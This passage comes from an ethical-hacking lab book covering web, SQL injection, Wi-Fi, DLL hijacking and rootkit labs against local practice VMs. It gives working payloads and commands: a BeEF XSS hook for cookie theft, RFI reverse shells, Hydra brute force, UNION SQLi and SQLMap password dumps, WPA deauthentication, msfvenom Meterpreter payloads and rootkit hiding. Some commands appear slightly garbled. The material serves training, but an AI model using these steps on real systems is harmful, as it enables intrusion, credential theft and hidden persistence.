OWAS BWA’s Security Shepherd, as it has
some really neat application logic flaws. So,
head over to
http://192.168.77.156/shepherd/login.jsp and
input admin/password as credentials. It might
ask you to input a new password in order to
replace the default one, so input anything you
like. Then go to Challenges → Poor Data
Validation 1.
So, the challenge asks of us to buy “trolls” for
free (the troll meme face). In order to do this,
we have to proxify our requests to BurpSuite:
burpsuite
Let’s order 1 enraged meme, 2 not bads, 3

trolls and 4 megustas. If we head over to
Burp and send our request to the Repeater,
we’ll see our request in all its glory.
So, as we know, the main functionality of a

proxy tool like BurpSuite is to allow us to
modify HTTP requests. What happens if we
modify the values with something the
application does not expect, such as negative
numbers? Put the value of megustas to be -4
and check out the sum.
So, we’ve effectively reduced the total value

by 4 megustas (a reduction of $120). All
that’s left now is to calculate negative 3000
and purchase 1 troll for free like this:
And we’ve solved the exercise. You would be
surprised how often seemingly trivial issues
like this are found in real-life scenarios.
Tips and notes:

Try to solve Poor Data Validation 2 within
Security Shepherd on your own. In addition
to that, you can try doing everything through
ZAP.
Lab 65. BeEF
Lab Objective:
Learn how to utilize BeEF for XSS.
Lab Purpose:
BeEF is Browser Exploitation Framework
and helps us achieve greater functionality for
our XSS exploits. Not only that, but it also
simplifies things quite a bit for us.
Lab Tool:
BeEF.
Lab Topology:
Lab Walk-Through:
Let’s make sure the tool is installed, up to
date and run it:
apt update
apt install beef-xss
vi /usr/share/beef-xss/config.yaml
If you use the source from GitHub, this file

might look a bit different. Change the
credentials, save the file and then type:
beef-xss
If the tool does not start this way, then try
with:
cd /usr/share/beef-xss
./beef
If that one does not work, then you’ll have to

troubleshoot things on your own as there are
likely system/dependency issues.
You’ll get some output, and we’re interested

in the one that specifies our Kali VM’s IP
address, like in the screenshot below:
Open the UI URL in a web browser of your
choice and log in with the credentials you’ve
previously entered.
Next, again in the Kali’s web browser, input

OWASP BWA’s IP address, then navigate to
DVWA, log in and go to XSS stored page.
Type the following as payload in the message
field:
<script src=”http://192.168.77.128:3000/hook.js”>
</script>
Click Sign Guestbook, then check out BeEF;

you should see a new Online Browser with
the IP address of our OWASP BWA VM.
Once you click on the IP address, you will be

presented with various options, with our
primary interest being Commands.
Opening up any of these categories reveals a
ton of functionality, conveniently color-coded
according to how likely a particular command
will work against the current target. So, click
on Browser, then Get Cookie and Execute.
After a couple of seconds, you can click on

the Module Results History entry to see what
BeEF came up with.
Of course, we cannot cover all of BeEF’s

functionality in this lab, so you are
encouraged to do so in your own time; this
was just to show you how to use the tool. The
rest is on you.
Tips and notes:

Do you remember that Metasploitable also
has a DVWA instance? Run BeEF against it
and see whether you’ll be able to run some
additional modules from BeEF.
Lab 66. Web
Application
Pentesting
Lab Objective:
Consolidate knowledge on web application
attacks.
Lab Purpose:
We’ve done a consolidation lab on web
servers, and now it’s time to do the same with
web applications. We’ll try to show some
additional differences between web server
and application attacks.
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
As before, with web servers we will start
things off with information gathering. A
really neat addon that I’m using on Firefox is
called Wappalyzer, so let’s check it out.
It immediately gives us technologies and

oftentimes the exact version as well. It even
allows us to export results in CSV file format.
Now, the attack categories that we’ll look

into are authentication, authorization,
injection and logic flaws, so let’s get to it.
Authentication attacks mostly revolve around

account compromise, whether it be by session
hijacking, login brute force, or any other way
of becoming a user we are not supposed to
be. So, let’s perform login brute forcing using
THC-Hydra and session hijacking via XSS
using BeEF.
The initial setup requires us to fire up

BurpSuite and proxify Firefox:
burpsuite
then capture a login request.

Then we run THC-Hydra with the command:
hydra -L usernames -P passwords 192.168.77.156 http-
post-form
“/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:
failed”
where the text behind F= is the message

DVWA prints if a login attempt fails. You
can pick any username and password wordlist
of your choice; I’ve made my own to avoid
things from taking too long.
As far as BeEF XSS is concerned, paste the
following payload into DVWA’s XSS stored
exercise:
<script
src=”http://192.168.77.128:3000/hook.js”>
</script>
start BeEF, click on the Online Browser of

choice, then execute the Get Cookie module.
We can re-execute it if we believe a new user

logged in. Then, using BurpSuite, we can
paste their cookie values in Burp’s Repeater
and hijack the session.
Authorization attacks pertain to accessing
resources we are not allowed to, a perfect
example being directory traversal attacks
(also known as LFI/RFI). To that end, we can
(and should always) look at the robots.txt file
—if it is present.
We see that on DVWA, there are no special

entries there, so we proceed to File Inclusion.
If you haven’t done RFI when we told you to,
here’s how you do it.
cp /usr/share/webshells/php/php-reverse-shell.php
shell.php
ncat -lvnp 1234
vi shell.php
Change the IP to Kali’s, and then save the

file.
python3 -m simple.http 80
In the DVWA URL, right after page=, type

http://192.168.77.128/shell.php, then go back
to your Ncat listener, and you should have a
reverse shell.
With this, not only are we able to access files
we weren’t supposed to, but we also got shell
access to the system!
We’ve already done injection when we were

using BeEF, so the only ones remaining are
the logic flaws. Now, truth be told, some of
these vulnerabilities can be considered logic
flaws, even LFI/RFI, command execution,
etc., as we are making the application do
unintended things. However, to be specific
about it, there are no vulnerabilities of this
type within DVWA, so we’ll have to use
another application, such as Security
Shepherd. The same way we gave you the
RFI solution here, even though it was an
exercise for you in the directory traversal lab,
we’ll give you the solution to the 2nd of the
two logic flaw challenges in Security
Shepherd. So, head over there, then go to
Challenges → Bad Data Validation → Poor
Data Validation 2. As with Poor Data
Validation 1, we intercept a request using
BurpSuite and then analyze it. If we try to
input a negative number, we see that the
application does a proper validation of that in
this challenge.
Next, let’s check for boundary issues by

typing 99999999 as the number of trolls we
want.
And that’s all it took!
Tips and notes:

As you can tell, we’re mostly looking into
easy things to demonstrate. We’ve mentioned
the reasoning behind this approach multiple
times. Because of that, we’re only working
with a handful of web applications found on
OWASP BWA, but you would benefit a lot if
you explored all the others on your own.
Lab 67. SQL
Injection
Lab Objective:
Learn how to perform SQL injections.
Lab Purpose:
SQL injection (SQLi) is, as the name implies,
an injection vulnerability similar to XSS.
However, here we are not targeting the web
application but rather the server (or more
precisely, the database on the server).
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
We’ll return to Metasploitable for the SQLi
labs. Head over to its DVWA instance, then
select SQL Injection page. Click on View
Help to see the challenge for this exercise.
So, what is an SQL injection? It’s an attack

that happens when unsanitized user input
ends up being sent to the server and then
interacts with the backend database. Each
database is comprised of tables, which are in
turn comprised of columns. If we click on
Inspect Source, we can see what’s going on
behind the scenes.
So, the web application takes our input and

sends it within an SQL query to the server,
asking whether a user with the ID we’ve
supplied exists within the database. So, what
happens if we send unintended input? We can
try sending strings like “test,” “-1,” etc., but
nothing really happens. In order to exploit an
SQLi, we need to break the existing query
and then basically “wedge” our own query
within it. The most common way of testing
whether this is possible is by sending one of
the following strings as input:
‘
“
‘-’
‘ or ‘1’=’1
If we get an error on any of these, it means

that an SQLi is likely. The reason why this
happens is because the single or double
quotation marks break the SQL syntax, and
the query is thus interpreted as malformed.
This provides a perfect avenue of injection
for our desired results.
So, we now need to craft a query that is going

to give us desired results, which are user
passwords hidden within the database. First,
we type:
1 ‘ and 1=1 order by 1 #
and increment the final value by 1 until we

get an error, like this one:
This shows how many columns are being

displayed. Next, we want to print out said
column values with this query string:
1 ‘ and 1=1 union select 1,2 #
If we try:
1 ‘ and 1=1 union select 1,2,3 #
we will get an error again. Now we need to

find the tables within this database, and we
can do so with the query:
1 ‘ and 1=1 union select null,table_name from
information_schema.tables #
We want to clean the output a bit and can do

so with:
information_schema.tables where table_schema!=’mysql’
and table_schema!=’information_schema’ #
We’re interested in the table “users” so let’s

look at its columns with the query:
1 ‘ and 1=1 union select
null,concat(table_name,0x0a,column_name) from
information_schema.columns where table_name=’users’
#
Finally typing:
null,concat(first_name,0x0a,password) from users #
we get a dump of all user passwords found
within the database.
Tips and notes:

Things won’t always be this easy, in fact,
they rarely are. At times you won’t get any
errors, yet there will be an SQLi present, or
the errors will be generic, and you will not be
able to infer much from them. We’ll look at
one of the ways how these situations can still
be exploited in the next lab.
Lab 68. Blind SQLi
Lab Objective:
Learn how to perform blind SQLi.
Lab Purpose:
Blind SQLi happens when the information
you are getting back is not enough to make
informed decisions; instead, you have to
come up with tricks to figure things out.
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
Head over to Metasploitable DVWA’s SQL
Injection (Blind) page and click on View
Help to see the challenge for this exercise,
which is to uncover user passwords. It is not
necessary to view the source because
knowing what it does won’t change the fact
that we have to work without any server
feedback.
Now input 1 in the User ID field. We get the

message that user ID 1 belongs to admin.
What happens if we type ‘, which is what
gave us the error based on which we knew
there was an SQLi present in the previous
lab? We get no feedback from the server. So,
you might think that there is no vulnerability
here, but there is. We can use this behavior to
infer whether something exists inside the
database or not. So, what can we do to
uncover it? Well, actually, we do everything
exactly the same as in the previous lab, the
only difference being that if we make a
mistake, there will be no error message to tell
us so; instead, the application will simply
look as if nothing happened. So, let’s get to it
by entering:
#
We see the hashed passwords as before, so

just crack them using the knowledge from
previous labs.
Tips and notes:

There are many more methods when it comes
to blind SQLi exploitation. One such method
is time-based; see if you can make it work
here.
Lab 69. SQLMap
Lab Objective:
Learn how to perform SQLi using SQLMap.
Lab Purpose:
SQLMap is incredibly powerful to use for
SQLi. However, we wanted to explain first
what SQLi is and how things work “under the
hood,” so that you can get a better
understanding of the vulnerability. In addition
to that, using such as SQLMap is simply not
possible all the time.
Lab Tool:
SQLMap.
Lab Topology:
Lab Walk-Through:
The fastest and easiest way to run SQLMap
would be through BurpSuite, so let’s see how
that works. Start Burp and proxify traffic
from Metasploitable’s DVWA:
burpsuite
Now in Burp, you have to install an extension

called CO2 using the Burp’s Extender feature
like in the screenshot below:
For good measure, make sure SQLMap is
installed on your Kali VM:
apt update
apt install sqlmap
Now head over to DVWA and send 1 as our

query, then intercept that request using Burp.
With the extension installed, right-click

anywhere in the request, then select
Extensions → CO2 → Send to SQLMapper:
This will open up a new window; however,
running SQLMap this way will make it non-
interactive, meaning that whatever happens in
the tiny SQLMap terminal window that pops
up after you click Run, your only option
would be to start SQLMap again. Because of
that, what we’re going to do is copy the
SQLMap Command string from Burp and use
it in a regular terminal window.
So, the SQLMap command for me looks like
this:
sqlmap -u
‘http://192.168.77.139:80/dvwa/vulnerabilities/sqli/?
id=1&Submit=Submit’ --
cookie=’security=low;PHPSESSID=1946aa8cacf96ab1b098164466e2edcd
Another reason we did things this way is

because Burp’s CO2 extension conveniently
lays out all the necessary parameters (such as
cookie values) for us, so we don’t have to
worry about that. Select Y on whatever
prompts you may get from SQLMap.
Now, even with SQLMap, we have to iterate

through it to get the desired results. But the
immense benefit of the tool lies in the fact
that we do not have to ponder whether it’s a
blind SQLi, what technique is going to work,
etc., the tool does all of that for us and does it
well! So, let’s iterate through the commands
until we reach our goal, which is uncovering
passwords of DVWA users.
sqlmap -u
--dbms=mysql -dbs
sqlmap -u
--dbms=mysql -D dvwa –tables
sqlmap -u
--dbms=mysql -D dvwa -T users –columns
sqlmap -u
--dbms=mysql -D dvwa -T users -C
user,password,user_id –dump
With this last command, SQLMap will offer

to store and even crack password hashes,
which we will let it perform for us, to great
success:
Tips and notes:
Go ahead and use SQLMap against the Blind
SQLi page of DVWA and see if things
become more complicated or not much, if at
all.
Lab 70. SQLi Wrap-
Up
Lab Objective:
Consolidate knowledge on SQLi.
Lab Purpose:
It’s time to look back on the things we’ve
learned in the last couple of labs when it
comes to SQLi.
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
So, the first type of SQLi that we’ve looked
at is a simple, basic SQLi, easy to identify
because, when we input something like:
‘
“
‘-’
‘ or ‘1’=’1
the target application throws a, more or less,

verbose error message at us. Good admins
will do their best to make SQLi as difficult to
achieve as it can be, decent ones will make
sure error messages does not exist, average
admins will make it generic, and terrible ones
will leave it default or even make it more
verbose than what it is by default!
As we’ve seen in the blind SQLi lab, the

absence of an error message does not mean
the absence of an SQLi. Only through
thorough analysis of the target application
can we be sure that indeed SQLi cannot be
achieved, or it is not time efficient (remember
that all penetration tests are limited in time
available, so we must prioritize). SQLi
vulnerabilities are iterative, meaning we have
to do things over and over until we get what
we want, like this:
#
This can be a tedious and time-consuming
process. To help us in this endeavor, we turn
to SQLMap. As before, using automated
exploitation tools should not be your go-to
option, but, engagement details and
infrastructure permitting, you can. In our
example labs, we got from verifying the
presence of SQLi to uncovering and even
cracking user passwords in just a handful
commands:
sqlmap -u
id=1&Submit=Submit’ –
sqlmap -u
--dbms=mysql -dbs
sqlmap -u
--dbms=mysql -D dvwa –tables
sqlmap -u
--dbms=mysql -D dvwa -T users –columns
sqlmap -u
--dbms=mysql -D dvwa -T users -C
user,password,user_id –dump
Needless to say, if SQLmap fails at cracking
these passwords, we can always turn to JtR,
or even Hashcat, because SQLMap saves its
results in a file, which we can then browse at
any point in time.
Tips and notes:

Head over to other web applications found on
both Metasploitable and OWASP BWA, then
try cracking all the SQLi exercises you can
find. This is good practice and will even
make a kind of muscle memory, which will
speed up your work in the long run.
Lab 71. Wi-Fi
Hacking
Lab Objective:
Learn how to perform Wi-Fi hacking.
Lab Purpose:
Wi-Fi hacking is another useful skill to have,
especially if you are working on-
site/internally. Here we’ll look at techniques
to hack different types of Wi-Fi passwords.
You’ll be needing a wireless adapter that
supports monitor mode for this lab. I have
Alfa AWUS1900, and it works fine. Most, if
not all, Alfa cards should do the trick.
Lab Tool:
Aircrack-ng.
Lab Topology:
Lab Walk-Through:
Back when I started studying to become an
ethical hacker, every course included WEP
(Wired Equivalent Privacy) hacking.
However, because it’s severely outdated and
practically non-existent in the real world,
which extends to the fact I do not have a
router that supports it, we’re only going to
look at WPA hacking. We’ll be using a suite
called Aircrack-ng, which includes several
tools, and the first of many is going to be:
apt update
apt install aircrack-ng seclists
ifconfig
airmon-ng check kill
airmon-ng start wlan0
Of course, you’ll have to substitute the final

argument in the last command with the name
of your own wireless interface, as detected by
ifconfig. Next, we want to look at what
wireless Access Points (APs) are around us:
airodump-ng wlan0
After identifying the target AP, we want to

focus our attention:
airodump-ng --bssid B0:C1:9E:0D:35:E0 -c 11 -w
wifi_cracking wlan0
Now you can sit and wait for a device to

connect to the target, or you can force any
connected devices to reconnect. The point
behind this is that we are trying to capture the
“handshake” between a device and the AP.
To force a reconnect of already connected
devices, we will perform a deauthentication
attack using another part of the Aircrack-ng
suite:
aireplay-ng -b B0:C1:9E:0D:35:E0 -a
B0:C1:9E:0D:35:E0 -0 5 wlan0
We’ll know that the handshake has been

captured in the Airodump-ng’s window, like
in the screenshot below:
Finally, we want to try and crack the

password using the eponymous Aircrack-ng:
aircrack-ng -a 2 -b B0:C1:9E:0D:35:E0 -l wifi_result -w
/usr/share/seclists/Passwords/WiFi-WPA/probable-v2-
wpa-top4800.txt wifi_cracking-02.cap
Sadly (or fortunately for me), it was not
possible to crack my Wi-Fi password,
because I use a strong one, that is at least 8
characters long, contains lower- and upper-
case letters, as well as numbers and special
characters/symbols, and it cannot be found in
any of the popular dictionaries that ethical
hackers use.
Tips and notes:

There are other tools you can use for this,
such as Wifite and Fern Wi-Fi Cracker, so
you should familiarize yourselves with them
as well. In addition to that, if you can find a
WEP encrypted AP, that would be an
excellent exercise and one that won’t take
much time because it’s actually easier to do
than WPA (which is why it is no longer being
used).
Lab 72. Wi-Fi
Sniffing
Lab Objective:
Learn how to perform sniffing of a wireless
network.
Lab Purpose:
We’ve used Wireshark a couple of times
already in our previous labs, but this time it
will be the main tool we’ll be working with.
There is some neat functionality within it,
and, like Nmap, it should be a staple tool in
every ethical hacker’s toolbelt.
Lab Tool:
Wireshark.
Lab Topology:
Lab Walk-Through:
We can do this in several ways, for example,
by creating an evil twin wireless AP, or we
can connect to the target network and then
perform ARP or MAC poisoning/flooding.
An evil twin is an AP that has the same
settings as the authentic one, only with a
stronger power to entice devices to connect to
it rather than the original. The evil twin
would allow us to sniff traffic from all
devices connected to it, while the poisoning
attack will only allow us to sniff traffic from
one specific target. We’ll go the flooding
route as it is easier to set up.
We turn back to our trusty friend Ettercap for

this one:
ettercap -G
wireshark
Scan for hosts, then select the devices you

want to target. In my example, that will be
my phone and, of course, my router (which is
the default gateway). Start the ARP poisoning
attack, then activate Wireshark sniffing by
selecting the target interface (wlan0 in my
case).
Make some traffic with your target device,
then stop the Wireshark capture. Now, in the
Wireshark filter type:
http && ip.addr == 192.168.77.109
This will show only HTTP (HTTPS included)
traffic that goes to and from the specified IP
address. If you want some other types of
traffic, replace the word http in the filter with
what you want (FTP, SMTP, etc.). We can
follow a specific connection/communication
by right-clicking on an entry in Wireshark,
then Follow → HTTP stream.
If you want even more out of Wireshark, do

the following:
Go to Edit → Preferences → IEEE 802.11 →
make sure Enable Decryption is checked →
Edit Decryption keys. You will need to have
the target Wi-Fi’s PSK
(passphrase/password) and know its ESSID,
which you should have from the previous lab.
With that information, head over to this
website
https://www.wireshark.org/tools/wpa-
psk.html.
Select wpa-psk as Key type and input the

generated value into the Key field. This will
decrypt traffic and allow you to view even
more information from the capture.
Tips and notes:

You should do the evil twin attack on your
own. To help you out a bit, you can use
Aircrack-ng for this or Airgeddon, which
pretty much automates the process for you.
Lab 73. Hashes
Lab Objective:
Learn about hashes.
Lab Purpose:
In this lab, we’ll look at hashes, what they
are, their purpose and how to identify them.
Lab Tool:
Hash-identifier.
Lab Topology:
Lab Walk-Through:
We’ve already worked with hashes in our
password cracking labs. At that point in time,
we did not dig deeper into the topic because
the final module of CEHv11 syllabus covers
cryptography. It’s similar to how we’ve
worked with Wireshark in the past, but the
module before this one is actually concerned
with sniffing.
With that out of the way, hashes are fixed-

length values most often used for
authentication. Authentication examples are
passwords and files. The most modern
application that features some kind of
authentication verifies whether you are the
user you claim to be by comparing the hash
value of the password you’ve entered at the
login to the one stored in its database, so the
actual password is never transmitted between
a client and a server. Besides that, when you
get a file on your device, you should verify its
authenticity by checking whether its hash
value is as advertised by whoever provided
you with the file.
There are many different types of hashes, the

most common being MD5 and SHA256. We
can identify which hash we are working with
by the first few symbols at the start of the
hash, as well as its length. As previously
stated, depending on the hash type, its length
is fixed and always the same. Besides that,
we can either go to
https://hashcat.net/wiki/doku.php?
id=example_hashes
or use Hash-identifier tool in Kali:

apt update
apt install hash-identifier
Now, you can either supply the hash value as
a command line argument:
hash-identifier
or simply run the tool and paste the hash

when it asks for one.
Like with Hashcat, the results of Hash-
identifier cannot be 100% accurate, but we
can work with less accuracy without much
issues.
To calculate a hash of a certain type in Kali,

run the following:
md5sum skyline.jpg
sha256sum skyline.jpg
replacing the name of the “sum” tool with the

hash type you want to calculate.
Now, besides tools native to Kali, you can

use online resources for cracking hashes,
such as https://crackstation.net/.
Hashes are supposed to be one way only, so

you cannot get the original value from the
hash. But a single, unchanged original value
should always produce the exact same hash.
If this principle can be subverted, the hash
type is considered unsafe for verification.
When two different inputs can produce the
same hash, we call that collision. If collision
can be reliably replicated, that hash type is
also considered unsafe for use.
Tips and notes:

You might’ve seen that, when using JtR, it
mentions which hash types the hash we’re
cracking likely is. As stated, in this lab, this is
not necessarily accurate. However, to save
time, you should run focused attacks against a
certain hash type rather than to attempt brute
forcing all of them.
Lab 74.
Cryptography Tools
Lab Objective:
Learn about various cryptography tools and
how to use them.
Lab Purpose:
In this lab, we’ll look at some cryptography
tools that you can use to encrypt and decrypt
data, or to generate SSH keys, and more.
Lab Tool:
OpenSSL & GnuPG.
Lab Topology:
Lab Walk-Through:
We’ll cover two tools in this lab, namely
OpenSSL and GnuPG. First, let’s make sure
both are installed on our Kali VMs:
apt update
apt install gnupg openssl
OpenSSL is a utility that can be used to

encrypt messages and files. The syntax is
very simple:
openssl enc -aes-256-cbc -in skyline.jpg -out
skyline.secret
Input any password you want, then repeat it

and press enter. If we try to view the contents
of the newly generated. secret file:
xdg-open skyline.secret
we will see that we cannot view its contents.
To decrypt the file, type:
openssl enc -aes-256-cbc -d -in skyline.secret >
skyline.extracted
Use the password you’ve encrypted the file
with to decrypt it, and then, if we try to view
this file:
xdg-open skyline.extracted
we will see that we can do so, despite the

extension not being what we would expect
(.jpg). XDG-Open utility knows that the file
is based on the file’s hex signature and thus
knows how to open it, regardless of what
extension we might use or even if there is an
extension.
GnuPG, which stands for GNU Privacy

Guard, but is also abbreviated as GPG, is a
suite of cryptographic tools. You can encrypt
files as easily as:
gpg -c skyline.jpg
Enter a passphrase twice in the pop-up
window, and a new file called skyline.jpg.gpg
will be created.
The -c switch tells GPG we want to use

symmetric encryption (a cipher). Doing
things this way means GPG gets to do its own
thing, but we can specify the encryption
algorithm. First, however, we have to know
what algorithms are available to us, so to find
that out, type:
gpg --version
At the time of writing this lab, GPG defaults
to CAST5. To use another type:
gpg -c --cipher-algo AES256 file.txt
for example. We can also use asymmetric (or

Public Key Infrastructure—PKI) encryption,
which creates private+public key pairs. We
won’t go too much into that for time’s sake,
but you are encouraged to experiment with it
on your own.
To decrypt the previously encrypted file, we

first have to remove the original:
rm skyline.jpg
gpg skyline.jpg.gpg
Input the password you used to encrypt the

file, and it will be decrypted.
Tips and notes:

Besides experimenting with asymmetric
encryption of GPG, there are some other tools
that you can use for encryption, such as
Bcrypt, which uses a Blowfish cipher, or
Ccrypt, which uses a Rijndael cipher. Not
only that, 7-zip and other archiving tools also
have cryptography features.
Lab 75. VeraCrypt
Lab Objective:
Learn how to use VeraCrypt for disk
encryption.
Lab Purpose:
While disk encryption can be achieved with
many other tools as well, VeraCrypt is an
industry’s favorite.
Lab Tool:
VeraCrypt.
Lab Topology:
Lab Walk-Through:
To use VeraCrypt, we first have to download
it from this URL:
https://www.veracrypt.fr/en/Downloads.html.
Once it is downloaded, navigate to the
download directory through CLI and run the
following:
dpkg -i veracrypt-1.25.9-Debian-11-amd64.deb
apt install -f
veracrypt --help
This will have installed the tool and show its

help to us. We’ll use VeraCrypt’s GUI just to
break up the “pace” a bit, but you can use it
from CLI as well. So, start VeraCrypt by
typing:
veracrypt
and in the window that pops up, select Create
Volume → Create an encrypted file container
→ Standard VeraCrypt volume → name a
file (ideally with a .vc extension) and make
sure Never save history is checked → select
the Encryption Algorithm and the Hash
Algorithm → input Volume Size → input
your desired password (you have additional
options here for extra security) → select
Volume Format → I will mount the volume
on other platform → Format.
Now, what do we do with this volume? Well,
we have to mount it in order to access what’s
on it. On the starting VeraCrypt screen, pick
one of the Slot mounts, select the newly
created volume, then click Mount and enter
your password.
You will now be able to access that volume
by double-clicking the slot you mounted it to.
Place whatever you want in the volume, then
Dismount or simple Dismount All on the base
window once you’re done.
Tips and notes:

For practice, you can take some key data,
encrypt it using OpenSSL or GnuPG, put it in
another file using steganography, then put
that stego file in a VeraCrypt encrypted
volume. If you do not reuse passwords and
you use strong ones across the board, this
would make your key data practically
impossible to discover.
Lab 76. Monitoring
Web Apps for
Changes
Lab Objective:
Learn how to perform monitoring of web
applications for changes.
Lab Purpose:
The final 26 labs will be concerned with more
advanced topics. They are considered
advanced for one or more of the following
reasons: complexity of setup, lack of direct or
full control over the process (such as 3rd party
hosted tools with limited capabilities unless
paid for), specific use cases (i.e., tools and
techniques you will likely not use often).
In the first one of these advanced labs, we
will touch upon the topic of monitoring web
applications for changes.
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
In this lab, we’ll look at a rather neat thing
we can do as ethical hackers, but sadly it is
limited unless paid for. Still, as your career as
an ethical hacker develops, and thus your
income, you will be able to pay for tools
either out of your own pocket or, if you work
in a company, they will likely be willing to
pay the licenses for you.
The technique in question is monitoring

websites/pages/apps for changes. I’ve chosen
to demonstrate this using the tool found on
the following URL: https://visualping.io.
There are others, and you are free to use
whichever one works best for you.
After registering to the tool, we are going to

create our first task. This tool, in particular,
can check for visual, text and element
changes. In other words, it can check whether
an image, text, or an entire section of the
target web application changed. I’ll go for
text, as that’s easiest to demonstrate and input
my blog URL as target. You can either set a
web application you own as target, so that
you can force a change, or an app that you
know changes often. Since this is OSINT, it
is safe to practice on targets we do not own or
have permission to analyze.
We cannot change the Frequency (requires
payment), so we’ll skip that and set the
Threshold to Any, input your email to receive
notifications on, then click on Create Job. If
you’ve used your own app as target, make
some changes to its text, then refresh the
VisualPing dashboard page. You should see
the change registered and can analyze it
visually or textually.
The moment any change is registered, a
“check” will be deducted from the upper right
corner of VisualPing’s page.
You have 150 total checks as a free user, and

they refill each month. This is fine if you are
running it against a target that does not
change frequently or against a single target.
But if you have multiple targets, or they
change all the time, you are going to quickly
exhaust these 150 checks. This is one of the
main reasons why we’ve left this technique
for the end of the 101 Labs. It’s still quite
useful, but it cannot be utilized freely (unless
paid for, of course).
Tips and notes:

There are some scripts you can run on Kali to
facilitate what was shown in this lab, but they
do not show what was changed, only that a
change was made, in which case you’d have
to manually analyze (not to mention
memorize or save each state of a web
application) the changes.
Lab 77. Email
Header Analysis
Lab Objective:
Learn how to perform email header analysis.
Lab Purpose:
Another interesting technique, but one you
might not be using in every single ethical
hacking engagement (simply due to the fact
that email testing is not always within scope),
is email header analysis.
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
Analyzing email headers can give us
information such as a detailed log of the
network path taken by the message between
the mail sender and the mail receiver(s)
(email servers). This, in turn, can potentially
show you interesting IP addresses, user
agents (and, by extension, OS information)
and more.
For demonstration purposes, I’ll show what

this looks like using a Gmail account. So,
open up any mail received on Gmail so that
you can view it fully, like in the screenshot
below.
Click on the three vertical dots in the right-
hand corner, then select Show original. This
will open up a new tab in your browser where
you can see quite a bit of otherwise hidden
information pertaining to that email.
Gmail conveniently shows you already

analyzed header information, but you can
copy it for use in some other application,
such as
https://toolbox.googleapps.com/apps/messageheader/
I’ve had to obscure Personally Identifiable
Information (PII), but just by seeing how
much was obscured, you can tell how much
data there is in email headers.
Tips and notes:

A useful resource for email header analysis is
https://mxtoolbox.com/public/content/emailheaders/
Here you can find information on how to
access headers from quite a lot of email
applications, both web and native. Feel free
to peruse it at your convenience.
Lab 78. DLL
Hijacking
Lab Objective:
Learn how to perform DLL hijacking.
Lab Purpose:
DLL hijacking is a post-exploitation
technique that requires understanding of how
native applications run on Windows OSs.
Lab Tool:
Kali Linux.
Lab Topology:
VM for this lab.
Lab Walk-Through:
DLLs (Dynamic Link Libraries) allow
programs/applications running on Windows
OSs to share code, which allows for more
modular applications. DLLs contain functions
within themselves that applications can “call”
and use for their own operations. These DLLs
can belong to the OS or the application itself,
in which case they ship with the application.
There is an order in which an application

would search for DLLs, the default being:
The directory from which the application is

loaded → the current directory → the system
directory → the 16-bit system directory →
the Windows directory → other directories
listed in the PATH variable. If
SafeDllSearchMode is enabled, the order
becomes:
The directory from which the application is

loaded → the system directory → the 16-bit
system directory → the Windows directory
→ the current directory → other directories
listed in the PATH variable.
Using this order, an application will search

for DLLs it needs to function. At times, a
target DLL may be missing or be further
down in the search path shown above. In both
cases, we aim to introduce the target
(missing) DLL as early as possible in the
search order, thus “hijacking” it.
To show this in action, we need the following

on our Windows VM:
Download kavremover.exe from
http://support.kaspersky.com/downloads/utils/kavremov
and download Procmon.exe from
https://web.archive.org/web/20170804213208/https://do
Now, open kavremover.exe and

Procmon.exe. Add a filter in ProcMon using
a Process Name, then point it towards
kavremover.exe.
Then add another filter that points to a path
that contains dll as a keyword.
Finally, add one last filter that contains a
result of “name not found.”
This allows us to see only those DLLs that
the target application (kavremover.exe) was
unable to find.
Now, we’ll focus our attention on the

kavremoverENU DLL file. Double-clicking
on it shows us that kavremover.exe attempted
to open this DLL on startup but, as the “name
not found” result tells us, it was not
discovered by the target application.
This makes it the perfect candidate for our
DLL hijacking attempt. We’re going to create
a DLL file called kavremoverENU, place it in
the same directory as kavremover.exe, and
put code of our own choice within it.
Copy the code from the following URL:

https://www.exploit-db.com/exploits/14789:
into a file called hijack.c on your Kali

machine. Next, compile the file into a DLL
with the command:
apt update
apt install gcc-mingw-w64-i686
i686-w64-mingw32-gcc hijack.c -o kavremoverENU.dll -
shared
and finally, transfer the file onto the

Windows target:
scp kavremoverENU.dll
IEUser@192.168.77.155:/cygdrive/c/Users/IEUser/Downloads
We now go back to Windows, close the

original instance of kavremover.exe and start
a new one.
A pop-up window should appear immediately
with the message “DLL Hijacked!,” serving
as a Proof of Concept (PoC) exploit code for
this vulnerability.
Tips and notes:

Here we’ve skipped the entire exploitation
phase and have utilized Windows’ SSH
straight away to transfer the exploit from Kali
to Windows. Perform a full penetration test of
the Windows box, from information
gathering to exploitation and finally, DLL
hijacking on your own.
Lab 79. Rootkits
Lab Objective:
Learn about rootkits.
Lab Purpose:
The term rootkit can be used to denote a
malware that hides itself upon activation or a
tool that allows us to hide previously used
malware. Either way, the point lies in the fact
that the malware becomes hidden from
system users.
Lab Tool:
bytecode77.
Lab Topology:
VM for this lab.
Lab Walk-Through:
The first thing we’re going to do is create a
basic malware using MSFVenom with the
command:
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe
-a x64 --platform windows LHOST=192.168.77.128
Next, we want to transfer this exploit to our

Windows target, start a MSF listener, then
run the exploit and catch the reverse shell
back on our Kali box.
scp meterpreter.exe
IEUser@192.168.77.155:/cygdrive/c/Users/Public/Documents
msfdb run
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.77.128
set LPORT 1234
run
Once the session has been established, run the

ps command inside Meterpreter:
ps
We can identify that there is a process called
meterpreter.exe running on the Windows
VM. We can further confirm this by going to
Windows’ Task Manager as well:
Now, we want to download a rootkit from the
following URL onto our Windows target:
https://bytecode77.com/r77-rootkit
Click on the Download hyperlink and accept
the warning that pops up.
Place the archive into the

C:\Users\Public\Documents directory and
extract it there. The password is bytecode77.
Double-click the TestConsole.exe file, then
select Run → Install.exe from the tool’s
menu bar. Once that completes, you will have
the option to hide our meterpreter.exe file, so
proceed to do that.
If we check Processes in the Task Manager,
we will see that meterpreter.exe is no longer
there. Going back to Kali shows us that our
session did not break and running:
ps | grep meter*
returns no results, meaning that indeed our

Meterpreter executable has been successfully
hidden yet is fully up and running!
Tips and notes:

Remember that when running any public
exploits, you want to make sure the code is
